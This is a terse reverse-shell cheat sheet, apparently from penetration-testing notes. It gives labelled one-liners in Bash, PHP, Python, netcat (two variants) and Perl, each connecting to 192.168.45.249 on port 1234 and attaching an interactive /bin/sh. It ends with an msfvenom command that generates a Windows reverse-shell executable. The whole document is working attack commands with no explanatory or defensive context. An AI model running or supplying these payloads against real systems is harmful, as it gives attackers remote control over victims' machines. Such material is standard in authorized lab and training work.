Bash
bash -i >& /dev/tcp/192.168.45.249/1234 0>&1
PHP
php -r '$sock=fsockopen("192.168.45.249",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.249",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
NCv1
nc -e /bin/sh 192.168.45.249 1234
NCv2
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.249 1234 >/tmp/f
Perl
perl -e 'use Socket;$i="192.168.45.249";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
MSFvenom Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe